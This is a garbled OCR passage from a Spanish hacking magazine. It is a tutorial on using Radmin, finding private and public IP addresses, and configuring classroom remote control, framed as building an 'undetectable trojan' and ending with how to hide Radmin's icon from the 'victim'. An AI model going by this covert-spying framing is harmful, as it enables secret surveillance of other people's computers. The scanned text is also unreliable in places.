puntero de su Mouse empieza a moverse solo por su
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. en ese momento se acabara el juego!!!

* View Only (Solo "espiar" ;)): Es idéntico que el
anterior pero sin poseer el control del Mouse remoto,
compruébalo. En este modo podras pasar el raton
por encima de la ventana espia sin problemas,
puesto que NO TIENES el control del Mouse
remoto. Lo mismo que antes, si no has resistido la
tentacion de probarlo, cuando acabes cierra la
ventana espia :)

* Telnet: Bueno, bueno, bueno... ya hemos llegado
al Telnet. Con esta opcion le abriras al remoto una
sesion por linea de comandos (después detallamos
el tema).

* File Transfer (Transferencia de Ficheros): Sera
como un FTP pero mas sencillo (después detallamos

el tema).

* Shutdown (Apagar): Creo que no necesita
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explicacion, apagaras el PC remoto :) Ojo!!!, que en
este caso es tu propio PC, venga compruébalo :)

* Registration Code Transfer: Simplemente para
introducir el cddigo de registro del programa, es
decir, que tienes que comprarlo.

* Delete: No, no es para formatear el equipo
remoto, no tengas malos pensamientos ;)
Simplemente borra el acceso que hemos creado ->
llmipcll

* Properties: Este si es importante, te permite
modificar ciertos aspectos de la conexion (después
detallamos el tema).

7.- Detallando la opcion Telnet.

El acceso al radmin-server mediante la opcion telnet
nos darad como resultado una linea de comandos
desde la que podemos dar érdenes al equipo remoto.
Es como ejecutar el command.com (para Windows
9x) o el cmd.exe (para Windows NT), ya se explicd
en nlmeros anteriores :)

Cuando accedamos al remoto en este modo nos
encontraremos con la famosa (y desconocida por
muchos) ventanita negra.

- Ya, ya... ya me diste la lata bastante con esto. Que

conste que ya se de lo que me hablas.

I Telnet - 127.0.0.1
Text Help
Connected to 127.8.8.1

UNREGISTERED

Hicrosoft Windous XP [Uersign 5.1.2608]
(C) Copyright 1985-20@1 Wicrosoft Corp.

G :\WINDOWS\systend2>

Puedes ver que obtienes directamente la version del
Sistema Remoto, en este caso el Windows XP
(Microsoft Windows XP [version 5.1.2600]), algo
muy Util si quisieses obtener mayores privilegios de
acceso :) Pero por ahora, como es nuestro propio
equipo, no nos sirve de mucho.
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8.- Detallando la opcion File Transfer.

Pues como ya hemos comentado, es para transferir
archivos desde el Remoto hasta nuestro ordenador
y viceversa. La imagen es de lo mas concluyente.

- File transfer - 127.0.0.1 UNREGISTERED ~[0 x|
| Local side I = |)(_|rj£-| IE_E g

& =@ =2 8 = =29 o

(A () D) (En {F:) (G (H:) (18]
|Remmeswde| J

4 = = 8

() 1c) () (€ i}

Remate side: Loading directory ok | A

La pantalla estd dividida en dos partes. La de arriba
es el Local Side, es decir, nuestro ordenador con las
unidades de almacenamiento que tenemos (discos
duros, CD-ROM, Disquetera...). La de abajo es el
Remote Side, es decir, el ordenador remoto con sus
unidades de almacenamiento.

En este caso ...

En este caso el Local y el Remoto seran IDENTICOS,
recuerda que nos hemos conectado a nosotros mismos ;p

Para transferir ficheros tan solo tenemos que pulsar
sobre los iconos que representan las unidades y
arrastrar los ficheros que queramos. Si pulsas el
botdn contextual (el botdn derecho del Mouse) sobre
un archivo o carpeta veras las tipicas opciones de
gestion de ficheros (copiar, crear directorio...). Mas
sencillo imposible, venga haz unas cuantas pruebas
moviendo archivos :)
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9.- Detallando la opcion Properties.

Esta si es importante, no sea que te comas el ancho
de banda de la Red. Cuando accedemos al menu
Properties, picamos sobre la pestafia Remote
Control/View (como en la imagen).

General Remote controlfview

— Colar farmat Wigw mode

Color format o be uzed while
tranzfening via network.

" BER3E colors
286 colors
* 1E colors

 Mamnal wview
" Fullzcreen view

% * Stretch view

b astirnam number of
updates per zecond

—

Encyption iz always used

Aceptar Cancelar

Esto te permitird controlar las propiedades de la
visualizacion del monitor remoto. Hasta ahora, cuando
seleccionas el modo Full Control, visualizas tu propio
PC y no hace falta configurar nada; pero cuando
estés accediendo a un PC remoto, estara visualizando
la pantalla de un PC a través de una Intranet o de
Internet, entonces es IMPORTANTISIMO no comerte
todo el ancho de banda. Mira por ejemplo la opcién
"Maximum number of updates per second", esta por
defecto a 100, es decir, que el remoto te enviara
100 imagenes de la pantalla por segundo!!!! Bufff,
a través de Internet eso es hoy en dia imposible de
soportar, asi que, vamos a configurarlo correctamente.

Configurandolo para una Intranet (de 10 o 100 Mb
por segundo):

* El Color Format (formato del color) lo ponemos a
256 colores.
* El View Mode (tipo de visualizacion) en Stretch




Mode. Esto no afecta a la velocidad de la Red,
simplemente seleccionamos este porque es mas
coémodo, ya lo veras después.

* Maximum Number of updates per second lo
ponemos a 2, es decir, nos refrescara el monitor
remoto dos veces por segundo.

Configurandolo para una conexion tipica de Internet:

* El Color Format (formato del color) lo ponemos
a 16 colores.
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Control Remoto de Sistemas:
Acabando...

Ahora ya conocemos el funcionamiento del programa,
dedicale 15 minutos a trastear con los distintos
modos de acceso para familiarizarte con el programa.
Por cierto, ahora cuando accedas por FULL MODE
veras el monitor remoto en una ventana
dimensionable (mucho mas cdmodo que antes), eso
es producto de haber seleccionado en las
PROPERTIES tipo de visualizacion Stretch Mode.

* El View Mode (tipo de visualizacién) en Stretch
Mode. Esto no afecta a la velocidad de la Red,
simplemente seleccionamos este porque es mas
cémodo, ya lo veras después.

* Maximum Number of updates per second lo
ponemos a 1, es decir, nos refrescara el monitor
remoto una vez cada segundo.

I£|> RESUMEN:

RESUMEN:

Una vez configurado pulsamos ACEPTAR.

- Hemos instalado el RAdmin y hemos descubierto que
esta formado por "dos partes" independientes: una parte
"servidor" que hemos instalado como "servicio" en nuestro

Estas configuraciones ...

PC y una parte Cliente con la que nos hemos conectado a

la parte "servidor".

Estas configuraciones son orientativas, segun tu conexion ) ) N
o ) - Hemos recorrido las opciones de la parte "cliente" del
a Internet o las caracteristicas de tu Intranet, puedes mejorar ) ) o
., ) RAdmin y experimentado las posibilidades que nos ofrece
la optimizacidn. Solo debes tener cuidado en no ocupar
., este programa.
todo el ancho de banda de tu conexion.
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CREA TU SEGUNDO TROYANO

INDETECTABLE ¥ INMUNK
A LOS ANTIVIRUS

RALOYIN: REMOTE ADYHWIN/STRATORZ. 7
UN CONTROLADOR REMOTO A MEL/LA”,)

PARTE II:
GESTIONANDO UNA SALA DE ORDENADORES

Para "controlar” los PCs de tu casa.
Para "controlar” los PCs de una sala.
Para “controlar” los PCs de de un edificio.

Vamos a ser...

Vamos a ser muy rapidos, que estaras impaciente por ver lo que viene después: La ocultacion del Radmin. PERO
no dejes de leer esta seccion, por favor. Tengas o no tengas una Intranet en tu casa/trabajo es imprescindible que
leas este texto, ya nos conoces, aprovechamos cualquier momento para introducir cuadros aclaratorios que desvelan
esas "pequefias cosas" que deben conocerse y sin las cuales te serd dificil comprender los textos siguientes ;)

1.- Instalando... ... ... por favor, desespere... ... ... })

Vamos a partir del supuesto que tienes varios PCs en una sala conectados a una Red tipo Ethernet 10/100,
es decir, la tipica Intranet. Seria el caso de la tipica aula informatica en que los equipos han sido conectados
entre si.

Este ejemplo...

Este ejemplo, aunque plantea el caso de un aula informatica, es perfectamente extensible a un Intranet casera de
dos equipos e incluso al de una Intranet de Empresa.
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Muy bien, pues lo tipico seria instalar el radmin en
todos los PCs exactamente igual que os hemos
ensefiado en el articulo anterior y desde el PC
principal (el tuyo), abrir el radmin-cliente y
crear/configurar los accesos a cada uno de los
equipos de la red.

Te recordamos que...

Te recordamos que antes de hacer lo que aqui te indicamos
finalices la lectura del articulo en su totalidad. Segun el
uso que quieras darle quizas te interese instalar el "radmin"

directamente en modo oculto directamente ;)

Solo puede surgirte una duda, qué IP poner a la
hora de configurar los accesos a cada equipo. Bueno,
imaginemos que eres profesor de informatica y
tienes 10 PCs en la sala + el PC Principal (el tuyo,
el del "profe"). Pues solo nos queda crear los accesos:

* Como ya hemos explicado, sentado frente al PC
Principal y desde la ventana del Remote Administrador
nos vamos al Menu Connection --> New y se abrira
una ventana donde introduciremos los datos de la
victima (los 10 PCs de nuestros alumnos, recuerda
que habra que repetir esta operacion por cada PC
que quiera controlar)).

- Como nombre, podemos darle por ejemplo
PC1 (el primero ordenador que deseamos
controlar).

-'Y como IP ADDRESS, équé debemos
poner?

2.- Buscando la IP de los equipos.

Si eres tu mismo quien ha instalado la Red, sabras
perfectamente qué IP INTERNA corresponde a cada
PC, pero si no tienes ni idea la cosa se complica.
Vamos a explicar cdmo conseguir la IP INTERNA de
cada PC.

Ya explicamos en numeros anteriores lo que era
una IP, el motivo de su nomenclatura y todo eso;
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asi que vamos a hacer una pequefia referencia al
tema para poder seguir con este articulo. En el Curso
de TCP/IP se explicara con todo detalle el peculiar
mundo de las IPs (en este nimero o en otros)

Para salir del paso y no alargarnos diremos que
existen IPs Privadas (o internas) e IPs Publicas (o
externas):

** IP Privadas (o Internas): Son para intranets
(redes internas) y no sirven para Internet. T4y Yo
podemos tener la IP Privada 192.168.0.2,
exactamente la misma, pero no pasa nada porque
esa IP solo existe dentro de nuestra Red Privada,
es decir, de nuestra Intranet... ... aunque siempre
pueden haber "errores", por ejemplo "alguien" podria
hacerse pasar por uno los PCs de tu Red Interna
usurpando una de las IPs Internas ;)

** IP PUblicas (0 externas): Son UNICAS en toda
Internet, es decir, como un DNI. Te la proporciona
tu ISP (Proveedor de Internet). T y YO jamas
tendremos la misma IP Pulblica puesto que la IP
Publica se utiliza en Internet y no pueden existir dos
ordenadores conectados a Internet con el mismo
D.N.I.. ... aunque siempre pueden haber "errores",
como alguien que se quiera hacer pasar por ti y
"utilice" temporalmente tu IP ;)

- Hey!!! No me dejes asi, explicame eso de "usurpar
mi IP"

No es el momento, todo llegara ;)

I£|> IMPORTANTE

Rango de IPs Internas:

*10.x.x.x: Es decir, desde 10.0.0.0 hasta 10.255.255.255
*172.16.x.x - 172.31.x.x: Es decir, desde 172.16.0.0 hasta
172.31.255.255
*192.168.x.x: Es decir, desde 192.168.0.0 hasta
192.168.255.255
Esculpe con letras de fuego estos rangos en tu mente, te
seran MUY utiles!!!
Por cierto, te lo decimos porque si mafiana intentas buscar
en Internet o en cualquier libro el/los rango/s de IPs Internas
seguro que tardas mas de 3 horas y no te digo ya si buscas
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CODE/DECODE sin explicarle nada de nada... vamos,
se cree que eres un extraterrestre y hablas en
sanscrito utilizando el alfabeto Devanaagarii (por
cierto, que el alfabeto Devanaagarii existe, no creas
que me lo invento ;))

en el google. .. no es cuestion de tiempo (que también) sino
de precision, seguro que encuentras esta informacién
incompleta o en formato técnico.

- Perdona, un rango es un rango ;no?... ;qué pasa si

A parte esta...

lo encuentro en formato técnico? No creo que lo puedan

complicar mucho.
. . . A parte estd la que yo denomino LOOP-IP, oficialmente
éSeguro? éseguro de que no pueden complicarlo?

Hay que ver ddonde llega la ingenuidad humana...
mira lo que encontraras en un libro medianamente
técnico:

llamada loopback o direcciones de bucle de retroceso, es
decir, el Rango 127.x.x.x (desde 127.0.0.0 hasta
127.255.255.255). Este rango es muy especial y solo es
accesible desde tu propia computadora. TODOS los PCs
" El espacio de direcciones privadas se define en los tienen la IP 127.0.0.1, el tuyo, el mio y el de cualquier
siguientes bloques:

* 10.0.0.0/8 --> Espacio de direcciones de
24 bits para la creacion de subredes.

* 172.16.0.0/12 --> Espacio de direcciones
de 20 bits para el host. Desde la perspectiva
de clases, la red 172.16.0.0/12 es un ID
de red de un rango de 16 ID de red de
clase B desde la 172.16.0.0/16 hasta la
172.31.0.0/16.

* 192.168.0.0/16 --> Espacio de direcciones
con 16 bits para el host. Desde la
perspectiva de clases, la red 192.168.0.0/16
es el rango de 256 ID de red de clase C
desde la 192.168.0.0/24 hasta la
192.168.255.0/24.

Para mas informacion RFC 1918."

persona --siempre que el S.O. (Sistema Operativo) tenga
soporte para Red, claro-- ;)

Existen también otros tipos de IP, bueno, mejor
dicho, otras formas de agrupar las IP; por ejemplo
las llamadas IPs "de difusion", "Unicast", "de
Multidifusion" o de clase A, B, C, D y E que existen
dentro de cada uno de los grupos anteriormente
expuestos y... bueno, no debemos extendernos en
esto ahora, todo llegara :)

Si no tienes...

. Si no tienes los nimeros anteriores de Hack X Crack,
Te reto a que extraigas los rangos de IPs Internas

a partir de esa explicacion, venga, inténtalo (pero
no mires nuestro recuadro, que eso es trampa).

puedes pedirlos en nuestra Web (www.hackxcrack.com).
Y si quieres subscribirte encontraras informacion de cémo
hacerlo tanto en la Web como en las paginas de esta
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- Seguro que te lo has inventado para liarme!!!

Pues no, es un fragmento de la pagina 141 del Libro
"Microsoft Windows 2000 TCP/IP Protocolos y
Servicios (Referencia técnica)" //ISBN 0-7356-0556-
4//

Vamos a ver, en realidad ese fragmento es muy
sencillo cuando se conocen los elementos implicitos
que contiene. Es como si le das a alguien las
instrucciones que utilizamos en los nimeros 2 y 3
de Hack x Crack para a la explotacion del
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revista :)

Bien, vale, volvamos a la realidad.

Nos levantamos de nuestra silla, vamos al PC1,
nos sentamos delante de él y buscamos su
IP Interna de ese PC.

Para hacerlo debemos abrir una linea de
comandos, si, esa ventanita negra que
nos hemos cansado de explicar en nimeros
anteriores :)
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Para abrir...

Para abrir una linea de comandos hay que ir al Menu Inicio

de la Barra de Inicio.

Je00 0 [We Ec |[@n

T™ICETE

Seleccionar EJECUTAR.

§ Internet

 Internet Explarer
orrea electrénica
crosaft Cutlook

g' Bloc de natas
Microsoft Access
CorelDRAW 10
Microsoft Excel
@ Acceso drecto a FreeHand
10.exe

ﬁ Neverwirter Nights
Microsoft Word
Snaglt &

HyperSnap-DX 4

EE

Adobe Photoshop 6.0

Todos los programas ¥

Mis documentos
) Documentos recientes
P
Mis imagenes
N o
Mi miisica
% ¢ Eavoritas 3
VAt
gl mipc

) s sitios de red
|

D« o detanred

& Conexiones dered

__) Impresoras y Faxes
€9) syuda y soporte técnica

) Buscar
S B

Cerrar sesién @ Apagar equipo

TEj  pEearne

Grae ]

|4 Inicio

PG eI T

Y en la ventana que nos aparecera

JCIEIVEE % e

2 x|

. %:ril:ua el nombre del programa, carpeta, documento o
E ursn de Internet que desea que Windows abra,

abrir: | command,com

Acepkar

[

Cancelar | Examina. .. ‘

mmand.com

08
Corp 1998-2001.

C(COCopyright M1c1
C: \DOCUME™1\RUBEN>

Siguiendo donde lo dejamos antes del recuadro
informativo ;), escribiremos en la pantallita negra
ipconfig/all y nos saldra algo parecido a esto:

WINDDWS" System32 command.com

C:~\DOCUME™~1~RUBEN>ipconfig ~all
Conf iguracidn IP de Windous

Mombre del host

Sufijo DNS principal
Tipo de nodo .
Enputamiento habilitado
Proxy WINS habilitado.

Ndaptador Ethernet Conexidén de 3rea local

Sufijo de CDIIEX].D[I es ifica DN
Descripeidn.

7 de Realtek
Direccidn fisica
DHCP habilitado.
Direccidn IP.
Hascara de subred . o
Puerta de enlace medete) mlnada
Servidores DNS . . ..

NetBios sohre ICPIP
C : ~DOCUME™1“RUBEN>

desconocido
: Mo

: Mo

i NIC Fast Ethernet PCI Familia RTL813
i BA-CA-DF-13-D1-38

: No

: 192.168.0.2

: 255.255.255.8

= 192.168.08.1

: £0.58.0.33

£88.58.32.97
: Deshahilitado

Pues bien, busca donde pone Direccidn IP y mira si
aparece una IP PRIVADA (una IP que esté dentro
de los rangos antes definidos como privados). En
nuestro caso aparece la IP Privada 192.168.0.2.

Hay otra forma de ver la IP Privada del PC1. En lugar
de poner ipconfig/all pon netstat -r y veras tu "tabla
de rutas" (ya hablaremos en profundidad sobre ello

en otra ocasion).

MS TCP Loophack interface
. NIC Fast Ethernet PCI Familia RTL813% de Realtel

ipuerto del admi

Rutas activas

Destino de red Miscara de red

or de paquetes

Puerta de acceso

Interfaz Métrica

0.08.0.8
127.0.0.8
192.168.0.0

0.0.0.8
255.0.0.0
255.255.255.0

192.168.8.1
127.8.8.1
192.168.8.2

192.168.@.2 255.255.255.255
192.168.0.255 255.255.255.255
224.0.0.8 240.0. E B
255.255.255.255  255.255.255

127.0.0.1
192.168.8.2
192.168.8.2
192.168.8.2

Escribiremos command.com (si utilizas Windows 9x) o
cmd.exe (si utilizas Windows NT o XP) y pulsaremos
aceptar, lo que nos dejaré ante la tan querida ventana de

ninguno

C: \DOCUME™1 \RUBEN>

comandos :)
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Esto parece mas complicado ¢verdad? Pues no
creas... fijate bien. Busca la columna Interfaz y
mira las IPs Privadas. En nuestro caso salen varias:
192.168.0.2

127.0.0.1

protocolo NAT, ya hicimos referencia a eso del NAT en el
nimero 1 y no es el momento de extendernos ahora,
simplemente apuntamos esta posibilidad.

** Si tienes un MODEM USB conectado a tu PC, en la

Elimina todas aquellas IPs que no estan en el rango
Columna Interfaz te saldra una IP Publica. Tu PC interpreta

de IPs Privadas y elimina la LOOP-IP... te quedara

una sola, seguro que es la IP Privada de ese equipo la existencia de un Modem USB como una Interfaz de Red,
:) Si no te queda ninguna es que ese equipo no es decir, como una tarjeta de Red. Si ademas de un MODEM
esta conectado a ninguna Intranet :) USB (que te da acceso a Internet) tienes pinchada en tu

ordenador una tarjeta de red (que te conecta a otros
ordenadores de tu casa), en la Columna Interfaz tendras

"Pequenos” detalles ... una IP Publica y una IP Privada.

** Imagina que tienes conectado a tu ordenador un MODEM

"Pequefios" detalles ... ... ... ...

USB, un modem analdgico (esos que marcan un nimero
o de teléfono para acceder a Internet, los de toda la vida) y
** No te saldra una IP Publica si no estas conectado a .

i ) una Tarjeta de Red para conectarte al resto de ordenadores
Internet.. . logico ;jno? Piensa que es tu proveedor de Acceso
a Internet (Terra, ONO, MENTA...) quien te da una IP
Publica cuando te conectas, si no estas conectado no tendras

IP Publica.

de tu casa. En ese caso y si tienes el modem analdgico
conectado a Internet, tendras una IP Publica del Modem
USB, una IP Publica del modem analdgico y una IP Privada
de la Tarjeta de Red.

** Si estds conectado a una Intranet, te aseguro que como

. ) Bueno, ya paro, simplemente queria abarcar el mayor
minimo tendras una IP PRIVADA. Si ademas de estar

numero de posibilidades para darte una perspectiva mas
conectado a una Intranet estas conectado a Internet te saldré,

amplia :)

como minimo, una Privada y una Publica. NO LAS

CONFUNDAS POR FAVOR, que estamos recibiendo

muchos mails preguntando sobre esto. 3.- Acabando de preparar la sala:
** En la Columna Interfaz, te saldrdn las IP asignadas a Pues ya estd, averiguada la IP Interna de cada PC
cada tarjeta de red. Si tienes 2 Tarjetas de Red, una para vuelve a tu mesa (a la mesa del "profe") y crea un
la conexidn a Internet y otra para la conexidn a Intranet, icono por cada ordenador que quieras controlar. Dale
te saldran como minimo una IP Publica, una IP Privada vy, a cada icono un nombre representativo y configdralo
tengas o no pinchadas Tarjetas de Red siempre te saldra la con la IP correcta. Ahora espera que tus alumnos
IP-LOOP 127.0.0.1 se sienten y accede a sus pantallas para controlar

que no se desmadren :)

** Puedes encontrarte el caso especial en que tengas UNA

SOLA tarjeta de red conectada directamente a un Router T E— : =i
(el router es quien te da acceso a la Internet). En muchos £ (2. micslet| & = =l

casos el ROUTER te dara una IP Privada a cambio de
quedarse con TU IP Publica. En ese caso, aunque estés

= = = o= o= = o=

PC1 PC10 Pz PC3 PC4 PCS

== =2 =5 =2

conectado a Internet, en la columna Interfaz solo veras la e re7 Pca Pa
IP Privada que de da el Router. Esto depende de la
configuracion interna del Router y de como aplica el

Full control Z
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- (T

Como puedes comprobar, en cada ordenador donde has

instalado el "radmin" saldra un icono que puede crear
suspicacias entre tus alumnos, incluso alguno puede saber
que ese icono corresponde al RAdmin y fastidiarte la
jugada. Bueno, eso lo arreglaremos enseguida :)

E@E@LE@ UGS WY L0 16y I

Escribe un mensaje con el texto : PCLOG + el codigo del

logo & melodia + la marca de tu mavil y envialo al 7227

~ TopmwToNos  ToPolosOs
cl) 62067 Chihushua N ek T T e
el! 54259 Llorare las penas 21082 &° 01140 &
El) 54257 cuando tu vas

E]! 54210 Fiesta pagana 01163 & 00016 &
Bl 51005 2l exorcista _—
el 54217 aserzje 06070&" 090138
el 54222 Ave maria MEEDPANA TN
el 68014 hala madrid 20087 & 0413568
el 50468 without Me T B ylh P EL T
el 55058 Cara al zol 031108  oz015 &
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A MI NO ME FUNCIONA EL IPCONFIG /ALL
NO ENCUENTRO MI IP EXTERNA

1.- ElI comando ipconfig/all:

eso en el mejor de los casos, porque falta que el médem
Nos han escrito muchas personas diciendo que el
comando ipconfig/all no les funciona. Bien, pues si
eres una de esas personas debo decirte que te
actualices el sistema operativo... bueno, venga, no

sea un "Winmodem" y entonces estamos listos!!!

Linux NECESARIAMENTE, tarde o temprano, sera

seamos tan malos. En caso de que ese comando
no te funcione debes utilizar el winipcfg/all y echarle
un vistazo a los datos obtenidos :)

Recomendamos...

IMPRESCINDIBLE para seguir algunas de las practicas.
Asi que, cuando llegue el momento nos meteremos de lleno
en Linux. Mientras tanto, si nunca has tocado Linux, ya
va siendo hora de que le des una oportunidad :) Al principio
TE DECEPCIONARA, no lo dudes, pero te aseguro que
aprenderas en un afio con Linux lo que no seras capaz de

aprender con 50 afios en Windows ;) Poco a Poco y Paso

PC PASO APASO N° 4

Recomendamos encarecidamente (siempre me ha hecho
gracia esa palabra y nunca supe cuando podria utilizarla
;)) que utilices para seguir las practicas la serie Windows
NT. El Windows XP es en realidad una evolucion de la

serie NT, asi que si tienes Windows XP, perfecto!!!

Si tienes Windows 95, 98, 98SE, ME... es decir, la serie
Windows 9x, quizas te encuentres con algunos comandos
que no se ejecutan... no pasa nada, simplemente tendras
que buscar su equivalente (utiliza el buscador google -

www.google.com-).

S

Seguro que alguno estara pensando que esta es una pésima

Seguro que...

recomendacion, que deberiamos recomendar "pasar de
Windows" y ofrecer la alternativa Linux. Pues si, te
recomendamos Linux (me da igual el Linux-sabor que

elijas, aunque si eres principiante Mandrake Linux es tu

Windows, pero entonces no podriamos escribir esta revista

porque muchos no sabrian ni como conectarse a Internet,
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a Paso ;p

2.- No encuentro mi IP EXTERNA.

Algunas personas nos han comentado que son
incapaces de saber su IP Externa.

Con todo lo explicado en anteriores nimeros y todo
lo explicado en este se me hace dificil pensar
en algun motivo por el que alguien no sepa
averiguar su IP Externa... ummm... bueno,
existe uno, que tengas un Router-Modem
como el que Telefénica "implanta" en Espana
para algunas de sus lineas ADSL. Como ya
hemos explicado el ROUTER puede "apropiarse"
de la IP Externa y darte a cambio una IP
Interna.

En las paginas anteriores te hemos mostrado
como averiguar TU IP "desde dentro", es decir,
desde tu PC y sin "ayuda exterior". Ahora
vamos a hacer una rapida referencia a como
obtener nuestra IP "desde el exterior", es
decir, utilizando "medios externos". Vamos
a intentar mostrarte con varios esquemas
las situaciones mas comunes:
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Por favor...

Por favor, aunque TU ya sepas tu [P EXTERNA no dejes
de leer estas paginas. Ya sabes que nosotros introducimos
dentro de los temas mas sencillos reflejos de otros que no
lo son tanto.

EIJ> Hemos basado...

Hemos basado los esquemas en el supuesto de que tengas
un MODEM-ROUTER, pero es extensible a cualquier tipo

de conexion. Lo hemos hecho asi porque es el caso mas

problematico a la hora de averiguar tu IP.

* CASO 1:

- Tu PC se conecta a Internet a través de un MODEM-
ROUTER.

- Tu PC recibe la IP Publica del MODEM-ROUTER.

- Tu MODEM-ROUTER recibe la IP PUBLICA del ISP.
El ISP es el proveedor de Internet, al que pagas
la factura de conexion a Internet cada mes: Terra,
Telefénica, MENTA, ONO, AUNA... ...

- El ISP te permite el acceso a Internet directamente
sin interponerte ningln proxy.

- El PC REMOTO (el que sea, por ejemplo
www.hackxcrack.com) recibe TU IP Externa.

Esto sucede cada vez que te abres el Navegador de
Internet e introduces una direccidn, o cuando utilizas
un FTP, o cuando utilizas un P2P, o cuando... es
decir, cuando te conectas a través de Internet y
mediante cualquier programa a un PC REMOTO, el
PC remoto recibe una IP, TU IP..
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TU PC
217.29.12.4

TV
ROUTER
217.29.12.4

TELEFONICA
(ISP)

INTERNET

PC
REMOTO
217.29.124

En este caso tu ya puedes saber tu IP sin utilizar
recursos externos mediante el comando
netstat -r, el comando ipconfig/all o el comando
winipcfg/all.

Para mas seguridad puedes utilizar un
recurso externo, puedes ir a www.multiproxy.org
0 a www.grc.com, esto ya lo explicamos en nimeros
anteriores.

- www.multiproxy.org: Nada mdas acceder,
en el menlu de la izquierda sale la opcion
"anonymity checker", pues lo pulsamos nos
mostrara NUESTRA IP. Fijate en la ventana,
donde pone REMOTE ADDR=217.33.8.3,
bien, pues en lugar de salir la IP 217.33.8.3
saldra la tuya (salvo que utilices los métodos
explicados en anteriores entregas, claro).
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* CASO 2:
- Tu PC se conecta a Internet a través de un MODEM-
ROUTER.

- Tu PC NO!!! RECIBE la IP Publica del MODEM-
ROUTER, en su lugar te da una IP Privada.
- Tu MODEM-ROUTER recibe la IP PUBLICA del ISP
y se la guarda ;). EI ISP es el proveedor de Internet,
al que pagas la factura de conexién a Internet cada
mes: Terra, Telefonica, MENTA, ONO, AUNA... ...
- EI ISP te permite el acceso a Internet directamente
sin interponerte ningln proxy.

- EI PC REMOTO (el que sea, por ejemplo
www.hackxcrack.com) recibe TU IP PUBLICA.
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TU PC
192.168.0.1

TU
ROUTER
217.29.12.4

TELEFONICA
(I1SP)

INTERNET

PC
REMOTO
217.29.12.4

En este caso, si mediante los comandos internos
que hemos explicado no puedes saber la IP Externa,
haz lo mismo que antes, conéctate a
www.multiproxy.org y obtendras tu IP Externa.

Ummm... ... Pero existe la posibilidad de que pudiese
existir un proxy impuesto por el ISP, ummm... vamos
a ver esa posibilidad :)
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CASO 3:

- Tu PC se conecta a Internet a través de un MODEM- ROUTER.
- Tu PC NO!! RECIBE la IP Publica del MODEM-ROUTER, en su lugar te da una IP Privada.

- Tu MODEM-ROUTER recibe la IP PUBLICA del ISP
al que pagas la
Terra, Telefonica, MENTA, ONO, AUNA... ...

- EI ISP te permite el acceso a Internet PERO te

proveedor de Internet,

TU PC Tu TELEFONICA
ROUTER P)

JJJJJ
JJJJJ

217.29.12.4

192.168.0.2

192.168.0.2

Fijate bien porque en este caso la cosa se complica.
No puedes averiguar TU IP mediante comandos
internos porque el modem-router te da una IP
Privada y para acabar de fastidiarla el ISP interpone
ente tu modem-router y el PC REMOTO un proxy
con su propia IP Externa, por lo que tampoco
podemos saber nuestra IP Externa. En resumen, si
accedemos a www.multiproxy.org obtendriamos la
IP Externa del Proxy impuesto por el ISP y no nuestra
verdadera IP Externa.

I£|> Tu ISP...

Tu ISP no interpone un Proxy para ti solo, ese proxy lo
activa para muchas personas (por ejemplo para toda una

provincia). Todas las personas que tengan la desgracia
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PROXY ISP
220.220.220.8

y se la guarda ;). ElI ISP es el
factura de conexidon a Internet cada mes:

interpone un proxy.

PC

INTERNET REMOTO

217.29.12.4

de tener ese proxy en medio, cuando se conecten a
www.multiproxy.org obtendran la misma IP Externa, la IP

del proxy.

I

No confundas las cosas, que tu ISP interponga un proxy

No confundas...

no significa que no asigne una [P Publica a tu
modem-router. Tu modem-router tiene una IP Publica

solo para TT !!!

¢Qué hacemos entonces? éNos suicidamos? Bueno,
la verdad es que no podemos hacer nada respecto
al proxy :( Solo nos queda ya una posibilidad, acceder
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a la configuracion interna del modem-router y
preguntarle cual es la IP que nos ha "robado" :), es El FORO
decir, qué IP Externa le ha dado el ISP.

- Podrias haber empezado por ahi ;no?, venga, dime el El FORO es muy importante para nosotros, es la forma de

comando secreto para acceder a las tripas de mi modem- tener contacto con La Editorial, es la forma de solventar

' 1 11! o o o
router, venga, venga... que estoy impaciente!!: tus dudas respecto a los ejercicios, es un punto de contacto

entre los lectores de un valor incalculable. Te recomendamos

Uffff, eso no es tan sencillo. Cada Modem-Router i
encarecidamente que te pases por EL FORO DE HACK

tiene su propia configuracién y su propia forma de
acceso interno. A unos se puede acceder X CRACK )
directamente por navegador (Internet Explorer,
Netscape o el que sea) a un puerto en concreto,
otros necesitan un cable tipo serie, otros funcionan
por puentes y para colmo la mayoria estan
intencionadamente bloqueados por el ISP para no
dejarte acceder a su configuracion (.

Asi que, para saber esto, mejor te vienes al foro de
Hack x Crack y preguntas al resto de la pefia...
seguro que alguno tiene tu mismo modelo :)

3€ pEREEEEL oz
NUMERO 1

Si no quieres meterte en el tema de "reconfigurar"
tu Router (un tema apasionante y del que sacaras
verdadero provecho) solo te queda llamar a tu ISP
y preguntarle cudl es TU IP Externa. Bueno, mentira,
hay muchas mas opciones pero se merecen un

articulo para ellas solas :)
wwwvwwe . hh ac ko rachks . coarm

Mucho cuidado...

FXP: SIN LIMITE DE VELOCIDAD

Mucho cuidado con modificar las opciones del Router, y UTILIZANDO CONEXIONES AJENAS
cuando digo MUCHO CUIDADO!!! es por algo:
1.-Siel RO%TER lo tienes por contrato de arreidamieito MR 109 LEL R

damient ABRE L0S 0J0S
con el ISP de turno, en cuanto accedas a él estaras
incumpliendo el contrato y perderas la garantia (otra cosa ESQUIVANDO FIREWALLS
es que se enteren de que has accedido, claro ;)) PASV MODE VERSUS PORT MODE
2.- Si cambias las opciones de configuracion y no tomas
MUY BUENA NOTA de la anterior, te puedes encontrar T
con que has perdido tu acceso a Internet y no recuerdas lo Illllll IIII|

que modificaste. Piensa que la configuracion del ROUTER
es critica para su correcto funcionamiento, toma MUY
BUENA NOTA de lo que modifiques para poder volver al

estado anterior.
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CREA TU SEGUNDO TROYANO

INDETECTABLE & INMUNE
ANTIVIRUS

RALOMIN . REMOTE APYMIN/ISTRATOR Z. 7
UN CONTROLADOR REMNOT7O A MEL/ILA”,)

PARTE III:
OCULTANDO EL RADMIN Y FRACASANDO

Acabemos de una vez por todas con el dichoso icono del Radmin. si. si. ese que aparece en
la barra de 1micio junto al reloj del sistema: A la Hoguera con el Tray lcon 1N
V¥ mds cosas. por supuesto :]

1.- Situacion Inicial:
Quien no sepa...
Tenemos nuestro flamante "radmin" instalado al

completo en nuestro PC tal y como explicamos en
la primera parte de este articulo y queremos instalar
la parte servidor en los PCs que deseamos controlar

PERO no queremos que el dichoso icono advierta
a la "victima" de que esta siendo "espiada". de forma totalmente gratuita (www.hackxcrack.com)

Quien no sepa lo que es el serv-u2.5¢ es porque no tiene
los nimeros anteriores de la revista. Te recuerdo que el

Numero 1 de Hack x Crack esta disponible en nuestra Web

